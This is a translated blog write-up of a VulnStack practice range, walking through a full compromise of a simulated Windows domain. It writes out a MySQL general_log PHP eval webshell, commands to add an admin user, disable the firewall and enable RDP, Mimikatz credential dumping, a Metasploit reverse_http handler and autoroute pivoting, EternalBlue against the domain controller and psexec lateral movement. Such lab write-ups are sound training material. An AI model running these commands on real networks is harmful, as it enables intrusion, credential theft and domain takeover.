Red Sun-VulnStack Shooting Range-ATT&CK (1) Two methods of lateral penetration

Red Sun Practice 1:

Foreword:

VulnStack is a shooting range knowledge platform built by the Red Sun Security Team. The shooting range environment (CMS, vulnerability management, domain management, etc.) are all simulated based on the business habits of domestic enterprises. All environment design ideas come from ATT & The CK red team evaluates the design model and builds the shooting range and designs the problem from the aspects of environment construction, vulnerability exploitation, intranet collection, lateral movement, channel construction, persistent control, trace cleaning, etc. In order to further learn about intranet penetration, this article will study and record the penetration process of an intranet domain environment shooting range provided by the Red Sun Security Team.

Table of Contents

Red Sun Actual Combat 1:

Foreword:

Environment preparation:

1. Information collection:

1.Port scan:

2. Directory scanning:

2. Web penetration:

1.mysql log import Trojan.

2.Antsword connection

3.yxcms front desk template writing horse

4.Antsword connection

3. Intranet penetration

1.CS part

1.1 Create a user and turn off the firewall

1.2.cs online

1.3. Elevate privileges + collect intranet information

1.4 Collection of intradomain network information

2. Lateral penetration of intranet:

2.1.CS linkage msf

2.2. Determine whether it is a honeypot.

2.3. Static routing configuration

2.4. Use the msf module to scan the LAN port.

2.5. Scan Eternal Blue

2.6. Eternal Blue attacks the domain controller to obtain the shell:

Method 2: CS_psexec moves laterally

Environment preparation:

Environment setup: kali attack machine, win7 target machine (server), win2008 domain controller, win2003 domain member.

Network topology diagram: 9ac3dbc63fed4f0081d50dc2ff0a2223.png

Network card configuration: vmware

5598d4ce1efb420c825ce475b6c7180b.png

win7: It can connect to both the external network and the internal network, so two network cards are needed.

32b0ced5739a41b285ed1db32b7bc18c.png

win2008:

78573e4a743c4cfa83bda4486ed40285.png

win2003:

1. Information collection:

1.Port scan:

Scan using kali nmap: discover ports 80 and 3306.

nmap -sV 192.168.31.161

f2041bf9b8d3423eaadb0d88d9de82aa.png

Visit http://192.168.31.161 and find that it is a php probe. From this, we can judge that the service is built by phpstdy.

7c9d187bf61c4151a5489ac1efb5060e.png

2. Directory scanning:

Use the dimap tool to scan: find the beifen.rar file and phpmyadmin management page, open beifen.rar and find the source code of yxcms.

—-> Found http://192.168.31.61/yxcms

./dirmap -i http://192.168.31.161 -lcf

91d38a591f53480eb429745c68135efd.png

a7fc53eef7b749b88fb77f2269d2cf76.png

Use phpmyadmin blasting attack to discover the weak password root/root.

4dc95a83e83449bfa7c6f26eee881c91.png

Log in to the background:

a5925fa9c1b24f679048b3f85b797f22.png

2. Web Penetration:

At this point we have to find a way to upload the Trojan and know the absolute path to upload the Trojan.

1.mysql log import Trojan.

View log status: show variables like '%general%';
Turn on general_log to True: SET GLOBAL general_log='on';
Execute the command to specify the log writing horse: SET GLOBAL general_log_file='C:/phpStudy/www/1.php';
Write a sentence into the horse: SELECT '<?php eval($_POST["cmd"]);?>';

5a9d74eaf7c24175b070d039017b0af3.png

0f43146d10124917a4502e5131084a38.png

4fb7d7212c544cd797f822be4e10cc5e.png

2.Antsword connection

In one sentence, the Trojan demo.php was uploaded successfully. We tried to connect using antsword and the connection was successful.

0ccc3a42c83c4413ab24f90ba4e843ca.png

At this point, the attack on the phpmyadmin page has been completed. Next, visit the http://192.168.31.61/yxcms page for web penetration.

We use a physical machine to access it. You can see in the announcement that the backend address is http://192.168.31.161/yxcms/index.php?r=admin. Visit and log in.

e2d5124076b84c23864089701fe41fce.png

cac3b0b656794a588a0f2538c3a5bd9b.png

3.yxcms front desk template writing horse

In the front-end template function, I found that I can write a sentence of Trojan in the php file and try to find the path of the Trojan.

aaebf8ffacd845e09941f65a6064c253.png

Find the path in the backup file:

0c732e7fa1114898acc3e89fa13a7c40.png

4.Antsword connection

Antsword connects and the connection is successful!

4ac61c82c91f4823b163a4913e1baa56.png

This is the end of web penetration.

3. Intranet Penetration

The goal is to use the existing control of the Win7 external network server host to penetrate the internal network laterally and seize domain control! Before this, it is necessary to collect intranet information and find out the composition of the intranet domain and network topology.

1.CS part

1.1 Create a user and turn off the firewall

netsh advfirewall set allprofiles state off #winturn off the firewall
net user yzy 1qaz@WSX /add #Add account password
net localgroup administrators yzy /add #Add as administrator privileges
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # Open port 3389
 

Use ipconfig to discover the intranet segment.

3e8bfac61f744a669b1db1567c96d08f.png

1.2.cs is online

Kali opens the CS server and connects to the physical machine.

Here is the three steps of going online: turning on monitoring – making Trojans – uploading and executing the wenbshell tool to complete the online process.

fd667bb32671496ebf8d30a4c01e7790.png

d26f8ba79da54500a5303c17163ff100.png

46cbdbd305c74c1fba66d2a7190c682a.png

459bdd486eae4a9d8f09a1c6f653f3a2.png

1222cc5a564a4a64a316a02c549656b6.png

Set file to hidden

b216f1dd4a24437d91549fb36a925f23.png

732426fed0274c8ea2200dfd8ea6d92a.png

1.3. Elevate privileges + collect intranet information

sleep 5 speeds up the response, the lower the number the better
Shell systeminfo checks the system version, patches and other information. 

0794933230c941079b347e2a0ac9785d.png

Discover domains and patches

4b00135ff3a34b2285ee64f6bee9c966.png

cb49e7077c184f2eb44810f437673937.png

The system is online and the privilege escalation is successful.

9a0c3d2b5ddd4d27b765de315d86fabe.png

You can use Mimikatz to directly capture local user passwords:

2d93169c97d84c2bb1310e5956e53519.png

888aa197a08647a4a6e839050a490290.png

1.4 Intra-domain network information collection

The main purpose of collecting intranet information is to find domain controllers and other hosts in the domain. First, attach some commands for collecting intranet information:

net view #View other host names in the LAN
net config Workstation #View computer name, full name, user name, system version, workstation, domain, login domain
net user #View local user list
net user /domain #View domain users
net localgroup administrators #View the local administrators group (usually there are domain users)
net view /domain #View how many domains there are
net user username /domain #Get information about the specified domain user
net group /domain #View the workgroups in the domain and see how many groups users are divided into (can only be operated on the domain controller)
net group group name /domain #View a workgroup in the domain
net group "domain admins" /domain #View the name of the domain administrator
net group "domain computers" /domain #View other host names in the domain
net group "doamin controllers" /domain # View the domain controller host name (there may be multiple)

a. First check how many domains this drone is in, and find that it is only in one domain.

shell net view /domain #View domain environment

72c1f87e88114561bef8c7fff3a7c629.png

b. Check the domain control host, it is owa

net group "domain controllers" /domain #View domain control host

ab5224aed38b492da2f61bde5f9b9ca9.png

c. Display other hosts in the domain

net view #Display other hosts and IPs in the domain, preferably in the attack view

6219fc34be8544b993401e6c30c939a4.png

Organize intranet information:

Domain name: god.org
Three hosts in the domain: OWA, ROOT-TVI862UBEH, STU1 (win7)
Domain Control: OWA(192.168.52.138)
Domain member: ROOT-TVI862UBEH(192.168.52.141)
win7 intranet ip: 192.168.52.143

2. Lateral penetration of intranet:

Next, we will use the Win7 springboard to horizontally penetrate domain member hosts and domain control hosts in the internal network domain.

2.1.CS linkage msf

a. Kali first turns on monitoring, sets the payload, and configures IP and port.

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.31.216
set lport 6666
exploit 

b6b1622012354d53accf525ea35b2443.png

b, cs opens new monitoring

5bbb719e9b6b4831b972378f530ed860.png

4e69c217bbec4c3f893136b04ad44ef8.png

Rebound shell to kali.

1a2e84fe8c574cfca3c1e6e75cffd6a4.png

1f0f6d820159466bafd1bc5ac0ea8463.png

2.2. Determine whether it is a honeypot.

run post/windows/gather/checkvm #Determine whether it is a virtual machine (honeypot)

21797541a4314791b539a31222adad87.png

2.3. Static routing configuration

run post/multi/manage/autoroute #Load MSF's autoroute module and obtain all network segment information of the current machine

run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD #Add target intranet route

e8ce26175aa54269844d9aa3491a691b.png

2.4. Use the msf module to scan LAN ports.

First use the background command to switch the currently executing Meterpreter session to the background, and then use MSF’s own auxiliary/scanner/portscan/tcp module to scan the intra-domain member host 192.168.52.141. Port 445 found. (Eternal Blue Attempt)

background
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
run

7938fc66e04a44eeafbfa2ad7ec3bdba.png

Scan the domain control host and find that port 445 also exists, prepare to scan Eternal Blue

31270502af2147458613ed3b14b40587.png

2.5. Scan Eternal Blue

search ms17_010 #Search for modules integrated by MSF related to the ms17_010 vulnerability
use auxiliary/scanner/smb/smb_ms17_010 # Load scanning exp
set rhosts 192.168.52.141 #Set the scanned host IP
run #Scan to see if the vulnerability exists

It was found that there are Eternal Blue vulnerabilities:

88bdf5129bc04715b3510e01c5c2cf2a.png

2.6. Eternal Blue attacks domain control to obtain shell:

! ! A blue screen is very likely to occur here. Fortunately, there is no blue screen and the attack is successful, but the shell is not obtained. . .

My personal consideration here is that there is session 1 in the background, which prevents the shell from being obtained.

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run

0ea181e91470485783602baa5c11c6b8.png

The picture below is an example of a successful attack:

acfef4557519495e8d3388493f350bca.png

Method 2: CS_psexec moves laterally

Principle: SMB Beacon:

SMB Beacon uses named pipes to communicate through the parent Beacon. When two Beacons are connected, the child Beacon obtains the task from the parent Beacon and sends it. Because linked Beacons use Windows Named Pipes to communicate, this traffic is encapsulated in the SMB protocol, so SMB beacons are relatively invisible. SMB beacon cannot directly generate usable payloads and can only use psexec or Stageless Payload to go online.

Using smb beacon, a machine that has obtained the beacon can grab the password and perform smb injection to obtain the administrator account password on another machine with port 445 open. If the target machine is not connected to the Internet, you can use smb The beacon brings the target host online.

Conditions of Use:

Hosts with beacons must accept connections on port 445. Only beacons managed by the same Cobalt Strike instance can be linked. You must have administrator privileges on the target host or have credentials with administrator privileges.

Here directly continue to set up the listener, use the captured password to try, use the domain account to log in to other hosts, and create the tunnel first:

3a3de1df43b34e858f93ae7fb9268093.png

8d6e2a0cb3c04d96b340f7d362dbff57.png

6d18a5d826ac44238e47ec552684d92f.png

4a37a52c4ce04ee2898582421c2e3de8.png

The same method is used for domain members: domain members are also online and are also system users.

0535bc6122544a80a21d2fca1be23a63.png

5a87af67ae0841faade7a2e5eb6f11b8.png

ce52c2afeffe4887a8a4b384b5bbbcb4.png